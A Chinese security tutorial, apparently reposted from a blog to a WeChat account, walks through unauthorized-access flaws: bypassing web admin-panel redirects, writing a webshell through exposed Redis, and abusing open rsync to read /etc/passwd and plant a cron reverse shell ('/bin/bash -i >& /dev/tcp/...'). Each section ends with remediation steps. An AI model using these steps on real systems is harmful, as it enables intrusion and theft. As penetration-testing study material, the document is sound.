未授权访问漏洞

  • A+
所属分类:安全文章

01 

WEB端未授权访问漏洞

未授权访问

未授权访问漏洞可以理解为需要安全配置或权限认证的地址,授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

B/S架构中

一般存在后台界面中,访问特定目录下的敏感文件,能直接跳过管理员登录,去访问后台管理内容。

C/S架构中

一般存在默认安装的一些客户端应用程序中,安装人员因缺少安全意识导致攻击者利用。


02

WEB端未授权挖掘实例


       查找技巧
       1、在访问后台时会在一瞬间加载出后台界面, 这时可以尝试挖掘。
       2、在后台地址url中后面输入main脚本名称,看是否有跳转到后台界面。
       3、御剑扫描器盲打
      

       案例一:返回包改状态码与删除重定向字段

步骤一:url里输入http://www.xxxx.com/admin/main.php,抓包,改返回包。步骤二:状态码302改为200,删除重定向Location字段。步骤三:然后我们就可以在后台增删改查内容。
       案例二:删除跳转标签
步骤一:url里输入http://www.xxxx.com/admin/main.php,抓包,改返回包。步骤二:删除跳转标签<meta http-equiv=refresh content=0;url=../index.php>步骤三:然后我们就可以在后台增删改查内容。
       案例三:JS拦截
步骤一:URL里输入http://www.xxx.com.tw/admin/left.php,发现弹窗拦截,判断是js拦截,抓包,改返回包。步骤二:删除跳转js标签。步骤三:然后我们就可以在后台增删改查内容。

03

客户端未授权访问

       客户端未授权访问:
       Redis未授权访问漏洞 (数据库)
       MongoDB未授权访问漏洞 (数据库)
       Jenkins未授权访问漏洞 (web后台)
       Memcached未授权访问漏洞(key-value分布式高速缓存系统)
       JBOSS未授权访问漏洞 (中间件)
       VNC未授权访问漏洞 (Linux远程桌面)
       Docker未授权访问漏洞 (开源的引擎)
      ZooKeeper未授权访问漏洞(分布式协同管理工具)
       Rsync未授权访问漏洞(数据同步工具)
       Elasticsearch未授权访问漏洞(搜索服务器)
       Hadoop未授权访问漏洞 (分布式系统基础框架)
       Jupyter Notebook未授权访问漏洞(交互式笔记本)


  redis介绍
       Redis是一个开源的使用ANSIC语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库、并提供多种语言的API
       漏洞成因
       redis默认情况下,会绑定在0.0.0.6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样会将Redis服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
       漏洞利用流程
       步骤一:这里使用2003作为redis服务端,cd到所在目录,然后使用redis-sever.exe redis.conf去运行redis服务,然后我们查看启用是否成功。
       步骤二:验证客户端是否能连接到redis服务端,这里有两种方法去验证。
       1、使用本机telnet去连接redis服务端,输入info,连接成功。
       2、也可以cd到目录使用redis客户端连接,dedis-cli.exe -h ip -p 端口。
       步骤三:如果客户端存在网站,我们可以直接把Webshell写入到网站根目录中。
       前提条件:要获得网站根目录路径。
       步骤四:客户端连接到redis服务端,并进入网站根目录。
       1、连接命令:redis-cli.exe -h ip -p端口。
       2、进入网站目录:config set dir 网站绝对路径。
       步骤五、在网站根目录创建相应的网站脚本文件,并写入一句话保存。
       1、创建命令:config set dbfilename文件名称
       2、写入命令:config x “内容”
       3、保存 save


修复方式

1、禁止一些高危命令(重启redis才能生效)

2、以低权限运行Redis服务(重启redis才能生效)

3、为Redis添加密码验证(重启redis才能生效)

4、禁止外网访问Redis(重启redis才能生效)

5、修改默认端口

6、设置防火墙策略


rsync介绍

rsync是Linux/Unix下的一个远程数据同步工具,可通过Lan/wan快速同步多台主机间的文件和目录,默认运行在873端口。由于配置不当,导致任何人可授权访问rsync,上传本地文件,下载服务器文件、

但是需要注意的是必须在服务器A和B上都安装rsync,其中A服务器上上是以服务器模式运行rsync,而B上则以客户端方式运行rsync。

环境搭建

rsync服务器搭建系统Centos7:

1、安装rsync:yum install rsync

2、安装好后会在/etc目录生成rsyncd.conf的默认配置文件。如果配置不当,则会造成未授权访问。

3、关闭安全配置selinux:

4、最后重启系统,启动rsync:

rsync客户端搭建系统kali:


漏洞复现:

客户端连接服务端命令:

方法一:rsync: 192.168.1.24

方法二:rsync rsync://192.168.1.24:873/

列出模块、跨目录下载任意文件:

rsync 192.168.1.24::src

rsync 192.168.1.24::src/etc/passwd ./

上传任意文件:

rsync x.txt 192.168.1.24::src/home


漏洞复现:

反弹shell,服务器(受害者)需要存在计划任务,相关命令。

systemctl start crond.sevice 启动服务

systemctl stop crond.sevice 停止服务

systemctl restart crond.sevice 重启服务

systemctl reload crond.sevice 重启配置文件

systemctl status crond.sevice 查看状态

crontab -l 显示crontab文件(显示已设置的定时任务)

contab -e 编辑crontab文件(编辑定时任务)

crontab -r 删除crontab文件(删除定时任务)

crontab -ir 删除crontab文件提醒用户(删除定时任务)

反弹shell,服务器(受害者)需要存在计划任务,相关命令。

为了演示,我们去靶机去创建一个计划任务:

crontable -e

1 * *** root cd/&& run-parts --repoot /etc/cron.hourly

//代表每隔一分钟启动 、etc/cron.hourly 目录下的文件


下载配置定时任务查看,上传nc反弹的脚本到计划任务执行目录。

然后去攻击机监听地址监听即可,如kali下nc --lvvp反弹端口,计划任务执行后即可拿到shell。

rsync -av nc rsync://192.168.1.116:873/src/etc/cron.hourly


客户端(攻击者)创建反弹的脚本:

//创建nc脚本

touch nc


//文件写入反弹shell命令

!/bin/bash

/bin/bash -i >& /dev/tcp/192.168.1.114/3333 0>&1


修复方式

配置认证用户名或者密码

控制接入源IP

使用足够但最小权限的账号进行

必要时候可以配置只读

非必要应该仅限配置路径下可访问

原文链接:https://blog.csdn.net/niqiu320/article/details/115399924

未授权访问漏洞


一如既往的学习,一如既往的整理,一如即往的分享。感谢支持未授权访问漏洞

“如侵权请私聊公众号删文”



扫描关注LemonSec

未授权访问漏洞

觉得不错点个“赞”、“在看”哦未授权访问漏洞

本文始发于微信公众号(LemonSec):未授权访问漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: